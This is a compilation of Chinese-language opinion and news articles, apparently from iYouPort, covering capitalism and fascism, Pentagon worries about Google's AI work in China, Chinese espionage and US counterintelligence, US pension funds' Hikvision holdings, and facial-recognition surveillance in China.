2020的大选使人们对危机中的资本主义、不断上升的民族主义和国家权力、以及法西斯主义重新抬头的可能性，进行了激烈的辩论。两极分化的政治和意识形态与长期积累的社会问题和运动一起，形成了辩论的主要对象和基调。法西斯主义能否在这里发生；是否正在进行？或者说，当前的资本主义能否避免重回法西斯主义？这些问题反映了2020选举和这个历史时刻的最高风险。

国家 —— 这个组织、执行和裁决我们社会行为规则的机构—— 是否应该在资本主义中存在？这个问题主要是对某些捍卫资本主义意识形态的人来说很重要。

这些人的主要观点是，现代社会的问题是由国家造成的。它们不是由资本主义企业的雇主-雇员结构或市场、财富的不平等分配、以及这些企业支持的其他机构造成的。那些意识形态拥护者想象的是一种纯粹的、完美的、或良好的资本主义，不受任何国家机器的干扰。他们所要实现的资本主义是非常乌托邦的。他们的结论是，通过减少国家（根据定义是坏的）的参与，现代资本主义的问题也可以减少。通过消除国家，一个由此“净化”的资本主义将解决所有这些问题。从自由主义者到共和党黑客，这种意识形态的作用是将资本主义受害者的合理怨恨和愤怒从资本主义身上转移到国家身上。

一种相反的观点认为，在资本主义经济制度盛行的社会历史上，国家始终存在。在这些社会中，国家与其他机构一样，反映了每个社会的特殊条件、冲突和运动。资本主义经济建立在企业的基础上，企业的内部组织将参与的个人分为少数人（雇主）和多数人（雇员）。少数人拥有和经营企业，做出所有的基本决定：生产什么、如何生产、在哪里生产、以及如何处理产出。多数人把自己的劳动能力卖给少数人，他们几乎不拥有或根本不拥有企业，被排除在企业的基本决策之外。

这种基本经济结构的一个结果就是国家的存在；另一个结果是国家对社会的干预模式，再现了其盛行的资本主义经济体系和雇主在其中的主导地位。

当然，资本主义盛行的社会的许多内部矛盾也影响和塑造了国家。例如，雇员可以而且经常向国家施加压力，要求国家进行雇主不希望的干预。随之而来的是对国家及其干预的斗争。个人的结果各不相同，但随着时间的推移，出现的模式是一个再现资本主义的国家。

同样，在前资本主义社会，如奴隶制和封建制，其国家的特点也是平行的模式。在相当长的时期内，这些国家也再现了它们的阶级结构：奴隶制中的主人和奴隶，封建制中的领主和农奴。通常，当一个国家不再再现某个阶级结构时，它的末日也就到了。

每个社会不断发展的条件和冲突决定了其国家的规模、活动和历史。这包括决定国家权力是分散的、还是集中的，还是两者的混合。社会条件和冲突也决定了每个社会中国家机器与统治阶级之间的密切程度、合作强度，甚至可能的合并。在欧洲资本主义中，最初的分权让位于国家集权的强烈倾向。在某些极端条件下，中央集权的国家与大而集中的雇主的资本主义阶级合并，形成一种叫做法西斯主义的制度。20世纪，法西斯主义的几个主要例子此起彼伏。而现在，法西斯主义又作为陷入困境的资本主义的一种可能的求助手段而出现。

通常，从分权制国家向集权制国家的过渡反映了这样一种社会状况：占统治地位的阶级需要加强国家权力，以巩固他们所主宰的和赖以生存的制度。他们担心，如果不这样做，社会条件会导致他们所依赖的制度崩溃和/或向不同的经济制度运动。无论哪种情况，他们的社会统治地位都岌岌可危。这种情况现在就摆在我们的历史议程上，法西斯主义也是如此。

奴隶制可以在分散的条件下持续存在。位于每个奴隶主手中的国家权力监督了系统的两个生产职位：主人和奴隶的再生产。最终，当再生产受到威胁时，如奴隶市场的破坏、奴隶起义或奴隶主之间的分裂斗争，一个独立的国家就被建立起来，被赋予一个机构，并得到加强。它往往拥有自己的奴隶（“国家”奴隶，我们可以与国家以外的人所拥有的“私人”奴隶区分开）。这种强化后的国家往往与奴隶主们更紧密地结合在一起，进行更紧密、更协调的奴隶制再现。奴隶主和国家联合对奴隶施加的暴力经常发生。

在分权的封建制度中，领主在拥有经济地位的同时，还拥有国家类型的权力，指挥着从属农奴的生产。最后，当流行病、远距离贸易、农奴起义或领主之间的分裂战争（如莎士比亚戏剧中所表现的那样）威胁到封建体制时，一个中央集权的国家就从相互竞争的领主中产生了。这个国家 —— 最高领主或国王—— 与我们可以称之为“私人”领主的阶级共享社会权力，以再现封建体制。在中世纪的欧洲，强化的封建国家演变为绝对君主制。那是国王和领主等级间在界定不同国家的边界内的紧密联盟。这些紧密的联盟对农奴、农奴的起义、叛乱的领主、外部威胁、以及彼此之间，都使用了暴力。

资本主义，就像它的奴隶制和封建制的前身那样，以小型的、分散的生产单位出现。资本主义企业同奴隶制和封建制生产单位（种植园、庄园或工坊）一样，也是表现出两种基本生产职位的制度。在资本主义的情况下，这两个职位是雇主和雇员。不同的是，在资本主义中，没有人*拥有*另一个人（与奴隶制不同），也没有人对另一个人负有经宗教制裁的劳动义务（与封建制不同）。相反，随着时间的推移，它建立了一个劳动力市场。在市场交易中，雇主是买方，雇员是卖方。

当各种问题最终威胁到早期资本主义的再生产时，资本主义就像奴隶制和封建制一样加强了其国家机器。其中一个问题是中央集权的奴隶制和封建制对从它们中产生的资本主义的反对。同样，随着资本主义在全球范围内的发展和扩张，它以他们所抵制的方式破坏了其他制度。强化的国家机构进行的暴力干预，将它们镇压和重组为最终成为资本主义的正式和非正式殖民地。这种干预鼓励了一个强大的资本主

义国家，反之亦然。雇员的要求和反抗也促使资本家加强构建能够约束和压制雇员的国家机器。同样，雇主之间的“残酷”竞争也需要一个强大的仲裁者来管理和控制他们。

即使资本主义催生了一个强大的国家，但在这样做的过程中，也存在着一种显著的犹豫，这种犹豫一直困惑着资本主义的历史，直到今天。

这种犹豫产生的原因是，早期资本主义 —— 新兴资本主义企业规模相对较小，且受到强大的奴隶制或封建国家阻碍的时期 —— 将国家视为自己的敌人。资本家和他们的代言人希望国家不参与经济，阻止国家偏袒非资本主义企业而不是资本主义企业。

他们希望资本主义企业和他们越来越多地支配的市场能被国家所抛弃。对强势国家的敌视和不决，从17世纪提倡“自由放任”到近代颂扬“自由市场”。

在后一种形式中，它是乌托邦式的，是一种想象的建构，对于为资本主义辩护的意识形态项目和自由主义口号在这方面是有用的。近几个世纪以来，没有任何一个实际的资本主义在没有国家干预和管制的情况下拥有自由市场。

从18世纪到20世纪，资本主义从最初的西欧中心向全球蔓延。国家通过战争 (“开放”地区进行贸易) 和殖民化，对资本主义的传播起到了关键作用。资本家之间的冲突，特别是竞争性资本家和垄断性资本家之间以及不同国家的资本家之间的地方性斗争，使得国家必须进行干预。资本与劳动力之间的冲突和争斗总是促使国家的加强和干预。

二战后常规化的大规模常备军事机构产生了军工综合体。这些综合体，特别是在1945年以后的主要资本主义和军事强国，正是国家和大资本家的合并，成为其他行业和国家之间平行合并的典范。

在美国，这样一种平行合并产生了医疗-工业综合体。在那里，国家的作用是保护四个行业共享的垄断：医生、医院、药品制造商和医疗设备制造商、以及医疗保险公司。政府促成并维持其与医疗-工业联合体的合并。它通过多种方式来实现。它使这些综合体免于反托拉斯行动。

政府补贴的 Medicare 和 Medicaid —— 为老年人和穷人提供的公共医疗保险 —— 小心翼翼地把年轻人、健康人和更有利可图的客户留给了私人医疗保险公司。政府避免了大量购买药品，将费用转嫁到公

众身上。最后，政府通常阻挠并经常谴责对这种私人盈利的医疗系统的真正进步改革为 “社会主义”。

事实上，即使不是法律上，国家和资本主义产业的合并，也标志着国家权力的增长以及资本的高度集中化和集权。

现在我们在金融领域也看到了同样的事。中央银行 —— 主要是国家机构 —— 长期以来与资本主义国家的主要私人银行结成紧密的阵营。美联储对本世纪以来三次资本主义崩溃的反应，不仅大大增加了货币制造和降息，而且还向非金融企业提供信贷。美联储购买企业债券交易所交易基金、二级市场上的公司债券以及基于公司债务的资产支持证券。美联储现在同样拥有三分之一的住宅抵押贷款。

相对于私人信贷，政府信贷也变得越来越重要。政府会很快协调决策以决定谁能获得多少政府信贷，包括哪些中国公司被禁止，哪些欧洲公司被制裁。这些金融发展标志着国家-资本主义合并道路上的更多里程碑。

在希特勒所倡导的种族主义、民族主义和战争狂热的背后，隐藏着法西斯主义的核心经济体系。这涉及到国家和私人大资本家的合并。前者为后者强制执行盈利的条件；反过来，资本家又迁就其企业的运行，以支持法西斯国家政策的方式进行融资、生产、定价和投资。对私有生产资料的征用针对的是选定的社会子群体（如犹太人）。私有资本主义的雅利安化—— 而不是废除—— 是国家的目标。

与此相反，社会主义者赞成私人资本家企业的社会化。 社会主义者所寻求的并不是国家与私人资本主义的合并，而是剥夺私人资本主义。国家要夺取对生产资料的唯一占有，以经营国家资本主义：生产资料是社会财产(而不是私人财产)，政府计划(而不是市场)来组织资源和产品的分配，工人控制和经营企业，以及根据社会决定的需要分配产出。

法西斯主义的经济组织是现在经济发展的方向，是整个资本主义特别是美国资本主义的方向。美国资本主义现在复制了早先奴隶制和封建制所特有的与强国合并的平行趋势。对资本主义再生产的制度性挑战带来国家权力不断增长、资本主义大企业不断壮大，最终它们合并成法西斯主义。

资本主义究竟如何演变为法西斯主义，何时演变为法西斯主义，因各国的具体条件和挑战不同而不同。同样，资本主义的内部矛盾 —— 例如，它的周期性不稳定性和财富与收入不平等加深的趋势 —— 也

会激起群众的抵制，至少在一段时间内可以减缓、停止或逆转演进，甚至将经济过渡到社会主义。

但是，资本主义的趋势必然是走向不稳定（它的周期）、不平等（它的财富向上再分配）和法西斯主义（国家-资本主义合并）的。新世纪的前20年，这些倾向已经表现得非常明显。〇

How Fascism Has Converged With Capitalism to Redefine Government

原文

硅谷巨头为中国军方服务，这事你怎么看 - iYouPort

作恶者：谁在帮中国关于高堡奇人

赚钱没有错，但有钱就赚这真的是好事吗？

「图」

「图」

特朗普和他的美国高级军事顾问会见了谷歌首席执行官，表示担心硅谷在中国的人工智能合作可能会使中国军队受益。这种担忧反映出人们已经意识到某些为民用目的开发的技术如何能够在美中之间的战略竞争中为一方提供军事优势。

此次会议是在参谋长联席会议主席 Joseph Dunford 将军 于3月14日在参议院军事委员会作证时向谷歌提出与中国伙伴进行技术合作的 尖锐批评之后 举行的。当 特朗普在 Twitter 上跟进 时，舆论聚光灯对谷歌的眩光变得更加严峻了：“谷歌正在帮助中国政府和他们的军队，而不是美国，可怕！”但除了关注谷歌之外，五角大楼似乎更广泛地关注美国科技公司“无意中”让中国在开发具有军事和国家安全影响的人工智能应用方面占据了一席之地的能力。

Dunford 说：“我们非常关注当行业合作伙伴在中国工作时存在的间接利益，坦率地说’间接’可能不是对其实际情况的全面描述。” “这对中国军队来说更直接有益。”

参谋长联席会议主席在3月21日于华盛顿特区举行的另一场关于国际事务的活动中详细阐述了他对谷歌和中国的评论。 Dunford 说 ，美国科技公司与中国就人工智能举措进行合作“将有助于威权政府主张对自己人民的控制……这将使中国军队能够利用美国开发的技术。”

据 彭博社报道 ，Dunford 于3月27日在华盛顿特区会见了谷歌首席执行官桑达皮采。特朗普在一次意想不到的转折中也与 Pichai 进行了交谈， 随后发布了 关于他对会议表示满意的推文：“他强烈表示，他完

全致力于美国军方，而不是中国军方。”

甚至在会议召开之前，谷歌就已经强调愿意与五角大楼合作开展某些项目，并否认与中国军方合作。谷歌发言人指出首先向华尔街日报记者 Vivian Salama 发表声明：“我们不与中国军方合作。 我们正在与包括国防部在内的美国政府合作，涉及网络安全，招聘和医疗保健等许多领域。 “

华盛顿新美国安全中心（CNAS） 的兼职研究员 Elsa Kania 说，迄今为止似乎没有确切的证据证明谷歌在中国的活动直接有利于中国的军事科技发展，至少基于公开来源。她作为该中心的人工智能和全球安全倡议的合作方，她的研究重点是中国在新兴技术方面的军事创新。

“这是关于我们关注的中国的商业企业、中国政府形式的二阶和三阶效应，以及它将对美国保持竞争性军事优势的能力所带来的影响，以及随之而来的一切“ — 参谋长联席会议主席 Joseph Dunford 将军说。

Kania 解释说，中国已经制定了一项所谓的“军民融合”国家战略，其目的在于动员和利用其蓬勃发展的技术部门进行军事创新。美国和中国都是众多国家中普遍强调人工智能、量子计算、和其他未来技术发展作为国家优先事项的国家。

但即使谷歌没有直接与中国军方合作或故意寻求帮助中国的军事创新，“也应该提醒注意的是，谷歌目前和中国的一些合作伙伴，包括复旦大学和清华大学，都参与了并致力于这个国家的军民融合战略，“Kania 说。

中国政府通过国有企业的直接控制 — — 以及对中国私营企业的影响 — — 提供了一条“直接渠道”，可以轻松利用最初为民用应用开发的私营部门技术，并将其重新用于军队，代理美国国务卿 Patrick Shanahan 说。国防部在参议院听证会期间与 Dunford 一同作证。

“美国也一直在积极寻求利用商业技术来支持国防创新，但正如 Dunford 将军强调的对谷歌的明显挫败感所表明的那样，并非所有美国公司都渴望为这一议程做出贡献，”Kania 说。

对谷歌一家的严密审查似乎“不公平”，因为在寻求可以被视为有利于中国更广泛的人工智能目标的商业企业中谷歌并不孤单。其他美国科技巨头，如亚马逊，苹果，**IBM** 和微软，都在中国设有研发中心，其中包括专注于开发人工智能应用或培养中国本土工程人才的项目 。最

终，五角大楼对硅谷在中国的商业利益的广泛担忧可能并非毫无根据。

“当然，谷歌在中国的参与可能有利于中国军方和政府，包括通过促进技术转让和促进人才发展，”Kania 说。“但是，这些风险并不是谷歌独有的，对中国其他一些正在寻求双重用途或敏感技术研究或合作伙伴关系的公司和大学的活动来说，也可以而且应该提出类似的担忧。”

五角大楼的巨大担忧显然超出了谷歌。但谷歌可能引起了更多的愤怒和关注，因为它已经证明比其他一些技术巨头更加谨慎对于将其专业知识用于美国军事项目方面。

并非总是如此。根据与 Gizmodo 分享的内部电子邮件，谷歌的高层最初似乎热衷于帮助美国军方部署人工智能算法，以帮助 在 Maven 项目 中实现无人机视频监控的自动化。当公共关系强烈反对以及谷歌员工的内部反对意见（其中一些人 签署了一封公开信 甚至辞职以抗议）时，这种情况发生了变化，促使谷歌领导层在今年合同到期后放弃参与 Project Maven。

谷歌参与 Project Maven 的结果导致领导层将公司的道德原则列为人工智能和相关技术的可接受用途。该公司引用了这样的价值观，因为它不会竞争五角大楼 利润丰厚 的联合企业防御基础设施（JEDI）合同 — — 价值高达100亿美元 — — 专注于为美国国防部建设云计算基础设施。

“当然，谷歌在中国的参与有可能使中国军方和政府受益，包括通过促进技术转让和促进人才发展。” — 美国新安全中心 Elsa Kania。

在最近的参议院听证会上，谷歌对某些美国军事项目的新发现令人沮丧，促使代理国防部 Shanahan 将谷歌的立场描述为“缺乏支持国防部计划的意愿”。但谷歌的立场似乎并未排除与五角大楼开展业务的可能性。此外，前谷歌主席兼首席执行官 埃里克施密特目前正在领导五角大楼的国防创新委员会 ，该委员会为美国军方提供建议，他 担任 谷歌母公司 Alphabet 的技术顾问并担任董事会成员。

事实上，谷歌仅仅是在美国国家安全和技术社区的几次大辩论中吸引争议的最新避雷针。从地缘政治竞争的角度来看，五角大楼对美国科技创新的可能性感到震惊，这种技术创新可能直接或间接地帮助了一个越来越多地被描述为“美国军事统治的主要挑战者”的威权国家。

硅谷和五角大楼也在关于民用生活和战场上人工智能和相关技术的道德使用的不同辩论中陷入困境。许多开创性和杰出的人工智能研究人员积极地反对在可能侵犯家庭隐私的“杀手机器人”军事技术或监视应用中武器化部署人工智能算法。

一些工程师越来越公开地拒绝代表谷歌和亚马逊等公司的技术招聘人员，理由是出于道德担心这些公司如何向美国军方和执法部门提供他们的技术产品和服务。

对道德的不同意见可能会加剧五角大楼在吸引最优秀和最聪明的工程师为军事应用开发人工智能方面的现有挑战。杜克大学人类和自治实验室主任 Missy Cummings 在2017年查塔姆研究所的一篇名为“ 人工智能和战争的未来 ”的报告中写道，由于工资和预算缺口，国防工业在招聘计算机科学和工程人才方面已经落后于商业部门“。最重要的是，越来越多的工程人员似乎公开不愿意帮助美国军方追求人工智能技术的某些用途。

美国军方在硅谷赢得人心的持续斗争可能正在重新燃起其对美国科技巨头与中国接触的焦虑。从五角大楼的角度来看，似乎硅谷正在倾注人才和资源来帮助竞争对手的专制权力，同时向美国军方嗤之以鼻。但是，五角大楼对军事竞争优势的关注有助于某种机构保密 — — 例如宣布谷歌在 **Project Maven** 上的所有**5,000**页工作计划免于公开披露 — — " 这不太可能说服 " 那些希望在美国军方如何使用**AI**方面更加透明的怀疑论者和相关技术 。

就目前而言，五角大楼可以从几个因素中获益。 “中国模式”可能使该国政府更容易将民用人工智能技术用于军事目的，并且也对中国科技公司施加严厉的议程和意识形态，其方式可能“证明自我毁灭，作为一种驱动力避免创新与党控制的倾向发生冲突，“Kania 说。

她还认为“美国创新生态系统的开放性”有时包括与中国同行的全球研究伙伴关系，这是美国的巨大竞争优势。尽管如此，她仍主张对这种美中伙伴关系保持警惕。

“当谷歌或任何美国公司或大学选择与中国同行接触时，我想这会增加中国学术研究与军事研究之间界限的模糊化，特别是在人工智能方面，这将是一个考虑因素，” Kania 说。〇

P ENTAGON WARNS SILICON VALLEY ABOUT AIDING CHINESE MILITARY . “When Google or any American company or university chooses to engage with a Chinese counterpart, I hope that this this

increased blurring of boundaries between academic and military-oriented research in China, particularly in artificial intelligence, will be a consideration," Kania says.

原文

美国为什么会在间谍战中输给中国？ - iyouport

关于高堡奇人

【2020年12月2日存档】了解敌人的情报文化是有效反情报的关键

【按：这是 fairobserver 的文章，当然它是选择了一个谍战对峙的角度去论述，并且其对中国的论点（而不是对美国的论点）大体上没什么错。但是，从根本上说IYP不会支持谍战，我们始终认为那些靠欺诈诱骗获得优势的阴暗肮脏手段不应该存在。

然而要抵制这种肮脏手段，您就不得不深入了解它，甚至需要掌握它的操作方法，只有这样您才能在遇到它的各种变体时候迅速反应过来。这就是为什么我们会有专门的列表-3 “斗智”，并且将 “心理战和信息战” 复制到 列表-5 “直接行动” 中。

此外这篇文章中对美国间谍的描述方面也有误 —— 美国拥有全世界经费最高技术最强的间谍机构，尤其是心理战方面，美国是绝对一流的（事实上这方面中国很弱，您从外宣水平上就能看出来，描述为学徒都是抬举了）。

但中国非常擅长模仿，而且学得惟妙惟肖。于是我们提供的书籍和 “心理战” 专栏中的文章都是较高水平上的知识，即 “在前面等着它”；如果您能了解这个水平的进攻，那么不论当前的手段如何进阶，您都不会受挫。

我们做这篇文章是为了在中美新冷战的当前提供一点这方面的思考方式，对分析局势会有帮助；而并非认同其主题和其部分口吻。】

尤其是 战略性欺骗 系列，是该议题中的重要部分：

- 《媒体操控：战略性欺骗的重头戏》
- 《欺骗不是撒谎这么简单：对峙的艺术（1）》
- 《伟大的自欺—战略性欺骗的心理维度（2）》

- 《想象力、创造力和较量—欺骗与反欺骗的互动（3）》
- 《偏执的保密—欺骗的主要方法之一（4）》
- 《让你看见—欺骗的积极方法之二（5）》
- 《反情报能力和思维模式—识别战略性欺骗的主要途径（6—上）》
- 《辟谣往往无效除非自我批驳—识别战略性欺骗的主要途径（6—下）》

中国在美国的间谍案已经达到了惊人的程度。7月7日，联邦调查局局长 Christopher Wray 宣称，“我们现在已经到了每10个小时就会看到一个新的与中国有关的反间谍案件发生的地步。在联邦调查局目前在全国范围内正在进行的近5000起反间谍案件中，几乎有一半都与中国有关。”

自1990年代中期以来，中国在美国从事间谍活动的证据越来越多。然而，直到最近，美国才开始认真对待这个问题。

华盛顿之所以不能及早认识到来自北京的威胁，是因为它不了解中国的间谍文化。并且也因为美国缺乏战略性反间谍文化，过分注重行动。

上图中这本书在这里下载：《窥探中国的信息战》。

上图中这本书在这里下载：《中国间谍》。

中国间谍文化的历史根源

「图」

美国人从“背叛”和“惊讶”的角度看待中美关系的恶化。这是因为美国认为1972年的中美和解是一个分水岭。华盛顿的许多人认为，美国对中国经济的急剧崛起负有唯一的责任。

因此，他们曾以为，随着时间的推移，中国会感激美国的帮助，并服从美国的规范。出乎他们意料的是，这种情况并没有发生。北京从来没有真正表现出感激之情，而且随着实力的增强，北京也越来越不服气。不断上升的间谍威胁，包括安全和商业方面的威胁，只是这种蔑视的众多表现之一。

一个简单的问题出现了。为什么美国没有预见到中国的间谍威胁？答案就在于美国情报部门和知识分子长期以来对其他国家的情报文化不

能给予足够的重视。早在20世纪80年代，一些深知忽视外国文化的危害的学者就已经指出了这一缺陷。不过，他们的建议没有得到重视。

要了解中国的情报文化，不能从1972年开始，而是要从有记录的中西方文明的第一次互动开始。16世纪，意大利出生的利玛窦神父率领一支耶稣会传教士队伍来到上海。从某种程度上说，这些传教士是西方在中国的第一批情报人员。

他们带着使中国人皈依基督教的使命而来。耶稣会士们以为，优越的西方科学和技术的诱惑会说服中国人接受基督教。但这并没有发生。到19世纪末，耶稣会士们得出结论，他们的使命“完全失败”了。

这种失败背后的原因相当直接。在中国人的心理层面对外国人的敌意是根深蒂固的。任何外国人都被归类为“下等人”和“野蛮人”。传教士只有在传授科学和技术领域的知识时才会受到欢迎。

除此之外，当他们试图宣传宗教和哲学时，他们会受到惩罚，有时还会被处决。实质上，那时候中国人把传教士看成是一头肥牛，要挤奶，然后再宰杀。这些故事对理解现代中国间谍文化提供了重要的启示。

今天，中国再次对西方挤奶，获取先进的科学技术知识。这次，它派遣中国间谍渗透西方知识的据点，尤其是在美国。

重新评估中国的间谍活动

「图」

对中国情报的研究大多集中在行动层面的分析。分析家们基本上没有把个别间谍行动放在文化背景下进行分析。很少有美国人了解，指导中国间谍行动的原则与西方的原则根本上是不一致的。

早在20世纪中叶，中共在苏联的帮助下建立情报基础设施时，就可以发现这种差异。随后，中共情报机构与苏联情报部门密切合作。然而，尽管有辅导和业务上的合作，但苏联的情报实践对中国人的影响仍然微乎其微。

就像16世纪的中国欢迎西方科学、摒弃西方哲学一样，中共的谍战也采取了同样的做法。在操作上，中共的情报部门很想从苏联人那里学习技巧。但是，他们在这个问题上坚持自己古老的哲学。特别是，中国人忠于公元前6世纪著名的军事战略家孙子。对苏联的情报实践“没

有模仿，甚至没有效仿”，只有“客制化和即兴发挥”。

从中国人如何运用孙子的“可消耗的间谍（死间）”概念可以看出这样的客制化，这与西方的“伦理间谍”哲学相冲突。对英、美、苏三国人类情报行动运作经验的实证研究表明，他们对外勤特工的关注程度非常高。特别是西方情报机构历来对线人的生命和安全非常重视。

【注：死间指故意散布虚假情况，让我方间谍知道而传给敌方，敌人上当后往往将其处死。】

美国人和英国人对 Adolf Tolkachev 和 Oleg Gordievsky 等俄国情报人员的待遇相当不错。苏联人对“剑桥五人组”这样的战略线人也很照顾。西方官员常常坚持“线人安全”。

【注：剑桥五人组，是指苏联从二战开始在英国的五名双重间谍。虽然说是剑桥五人，实际上可能涉及更多人。已知的四人分别是：盖·伯吉斯、唐纳德·麦克林、吉姆·费尔比及安东尼·布朗特。第五人的身份众说纷纭，根据这四人的苏联上司兼接应 Oleg Gordievsky 的说法，这人是英国情报人员 John Cairncross。】

另一方面，“死间”理论并没有将“道德间谍”附带的特权延伸到外勤人员身上。国务院官员 Candace Claiborne 的被捕就说明了这一点。当 Claiborne 毫无戒心地接受了一名FBI卧底特工的恭维，说她是中国情报、安全和秘密警察机构 —— 国安部的“最高级别”情报资产之一时，她的真实身份暴露了。

这一事件显示，中国情报部门似乎对一个享有绝密权限的特工完全没有提供安全培训。中共将特工视为“一次性的”，因为它仍然遵循孙子的“死间”理论。

中西两种不同的间谍风格导致在线人网络问题上出现了定性与定量的对立。西方间谍机构寻找的是少数可靠的线人，他们可以得到保障；中国人则采用的是吸尘器方式，喜欢使用大量的情报收集者，而不是少数训练有素的专业人员。这种定性和定量的区别当然是众所周知的，但很少有美国人了解它的历史渊源，可以追溯到中共情报机构形成的年代。

在商业间谍活动方面，北京一直在无情地使用数量取胜的方法。2015年，奥巴马政府的 John Lewis 坚持要他的中国同行讨论这个棘手的问题。在几次试图回避失败后，这位中国官员提出了一个相当坦率的意见。

据这位官员说，中国的情报文化并没有区分为国家安全而进行的间谍活动和为经济利益而进行的间谍活动。这种二分法完全是西方人的观点。对中国人来说，它并不存在。尽管有了这一明确的表白，但美国间谍又花了5年时间才完全醒悟过来，认识到中国威胁的现实。

修正美国的反情报文化

「图」

美国可以通过有效的反间谍来遏制中国的威胁。然而，目前的状况并不能让人有多少信心。美国对中国间谍文化的误读催生了反间谍对策的不足。美国过于关注个案，而对制定战略性反间谍理论关注不够。

在这种战略中，美国应该采用进攻性行动，以破坏敌人的情报目标。相反，联邦调查局目前部署的是一种防御性战略，包括对外国特工进行起诉和定罪。这有两个明显的缺陷。

首先，起诉占用了稀缺的时间、精力和金钱；它有机会成本；它无法利用可能被用作双重间谍的人。起诉也会引起敌方情报机构的警觉，从而掩盖其行踪。

第二，在情报事务中很难定罪。证据往往不会充分，行动的关键细节无法披露，间谍活动的灰色问题不容易转化为法院那种简单明了的方法。这使得定罪难以实现。

事实上，逮捕与定罪比例的缩减已经助长了中国情报部门的攻势，而中国情报部门的攻势又助长了对美国的种族主义和猎巫的指责。每一个被联邦调查局指控的人逍遥法外，都为中国的心理战行动（PSYOP）增加了砝码。

上图这本书在这里下载：https://www.patreon.com/posts/xin-li-jian-die-38983324

从理论上讲，PSYOP是针对特定的受众进行心理操纵和定位，以实现一套明确的目标。通过指责美国人的种族主义，中共的目的是迎合美国人民的情绪，以使他们反对联邦调查局。在这方面，北京似乎是成功的，因为美国的学术和科研机构一再抵制FBI监控中国学生的要求。

这些机构担心被指责为种族主义。中国巧妙地在美国安全机构和其知识机构之间制造了裂痕，以达到自己的目的。

【注：我们也不会支持监视中国学生，或者说以种族条件设置警戒措施。虽然中国的确使用留学生做情报任务，但是，监视所有中国留学生的做法 *不仅不会* 让北京的间谍行动失败（他们可以收买和利用其他国家的人做间谍工作，甚至包括土生土长的美国人），而且更会加深中国人和北京政府的民族主义情绪。】

为了使美国的反间谍活动从这一困境中解脱出来，美国将不得不接受一种战略性反间谍学说。它也必须有效地使用PSYOP。特别是，它可以把重点放在比如中国情报机构所遵循的残酷的“锄奸”计划上。受过教育的美国人已经开始反对中国在新疆、香港和西藏的行动。

因此，当务之急是美国人要接受孙子的名言：“知己知彼，百战百胜”。〇

Why Is the US Losing Against China in an Espionage War?

原文

美国人正在从中国的警察国家暴力中获利 - iYouPort

关于高堡奇人

美国人正在从中国的警察国家暴力中获利。这是怎么回事？

「图」

「图」

两家主要的美国养老基金拒绝就其持有股份的中国公司发表评论，该公司就是海康威视，他们的监控设备据报在穆斯林拘留营中被使用。

纽约州教师退休系统和加利福尼亚州教师退休系统都持有臭名昭著的中国海康威视的股份。

立法者呼吁投资者抛售他们在该公司的股份。

据说在新疆地区有多达一百万穆斯林被拘禁。

纽约州教师退休系统（NYSTRS）和加州州立教师退休系统（CalSTRS）是美国最大的两个公共养老基金。

NYSTRS将杭州海康威视列入其国际股权控股，截至2018年12月31日，持有26,402股股票，市值99,059.89。

截至2018年6月30日，CALSTRS 持有海康威视的股份 4,356,300股，市值为24,414,000美元。

“我们致力于对社会和环境负责的商业行为，并以 CalSTR 的最佳利益获取商品和服务，”该基金的网站上写道，尽管它没有特别评论海康威视。

参议院外交关系委员会的高级成员马可·卢比奥（Marco Rubio）呼吁

进行改革。

这位佛罗里达州共和党人在他的网站上分享给特朗普总统两位内阁成员的一封信，敦促政府对从新疆地区的拘留中“获利”的美国个人和实体实施制裁。他提到了海康威视。

西北地区是维吾尔人的家乡，维吾尔族是讲突厥语的穆斯林少数民族。他们占新疆人口的45%左右，受到中国当局的严格监视。

总部位于杭州的海康威视（Hikvision）被认为是由中国政府控制的，是世界上最大的视频监控技术供应商之一。

据“伦敦时报”2016年报道，海康威视还帮助英国客户安装了超过一百万台闭路电视监控系统，这些监视技术已安装在英国各地，包括机场和政府机构。

中国面临着越来越大的压力，人权组织要求其停止对维吾尔族、哈萨克族和其他穆斯林少数民族被无限期关押，不得指控拒绝提供DNA样本的人、坚持使用少数民族语言或与官员争吵的人。

人权组织还表示，海康威视为这些设施提供监控系统。详细报告参见"IYP 类目的“谁在帮中国”部分"。

英国“金融时报”报道称，该公司表示：“我们非常重视所提出的有关使用海康威视设备的问题，我们正在评估一系列解决这些问题的方案。”

去年该公司网站上的一份声明称：“海康威视非常重视网络安全，并遵守我们经营所在国家/地区的所有适用法律法规。

“我们还重申，我们的产品符合行业的全球网络安全标准。”

新疆正式被指定为中国境内的自治区，如南部的西藏。

到目前为止，几乎没有穆斯林占多数的国家加入公开谴责这些指控。

分析人士称，许多人担心来自中国的政治和经济报复。

中国驳回了侵犯人权的指控。

Hikvision: Two major US pension funds have refused to comment on their holdings in the Chinese firm whose surveillance equipment

is reportedly used in Muslim detention camps.

原文

美国和中国在监视公民方面引领全球 - iyouport

关于高堡奇人

【2019年12月25日存档】谁会最害怕自己的人民？

我们从内部得到的消息是这样的：中国的人脸识别技术的运算一般分为两种方案，

一种是集中化的，监视摄像头只负责采集图像，后端传输到数据中心，进行大规模运算。

另外一种是为了减少中央服务器的负担，将一部分识别任务交给摄像头本身。

这就要求摄像头内嵌一个操作系统。

而处理识别部分的硬件设备，已经脱离了嵌入式设备的范畴，可以理解为每一个摄像头内置一个运算力并不弱的微型 PC。摄像头仅仅抓取人脸，但不去验证人脸身份，抓取后通过网络传输到后端服务器。

这两种技术无法通过外观辨别。

关于部署情况：目前即便是北上广这样的大城市，带有运算功能的摄像头也是凤毛麟角，大概主要原因是造价太高；而且，要想将所有传统摄像头更换，是一个大工程。

目前仅仅在一些关键位置部署，比如是敏感地区的地铁、路口。你能猜到的那些地方。

另外，关于传统摄像头的 **后端运算问题**。答案是，现在当局对传统摄像头的后端运算非常不满意，主要是运算压力太大，基本上实用价值大打折扣。

目前它们做的是“两手抓”，在逐步替换旧摄像头（这是个漫长的过

程）的同时，抓紧增加后端的算力和算法。

通过消息人士的语气推测，**目前可能存在1～2年的“窗口期”，过了这个时间，人脸识别检测的应用价值就有一个突发的增长。** 请注意，距离中国的社会信用评分系统全国范围内正式实践，还剩最后2个月。遍布全国各地每一个角落的监视器，将极大程度上辅助社会信用评分的奖惩。

我们介绍过一些防御人脸识别的思考方式、以及目前已经成功实验的防御技术；今后还会继续介绍。根据 Comparitech 的最新调查数据，中国和美国是全球两大 最热衷于监控其公民 的国家，不同的也许是，美国社会正在努力抵抗，希望中国社会也能跟上来。

这已经不再是猜测，美国执法部门一直在向公众撒谎关于扩大CCTV摄像机监控的范围。

Comparitech 最近发布的一份报告证实了多年来一直在警告人们的事：美国执法部门已成为监视其公民的全球领导者，之一。

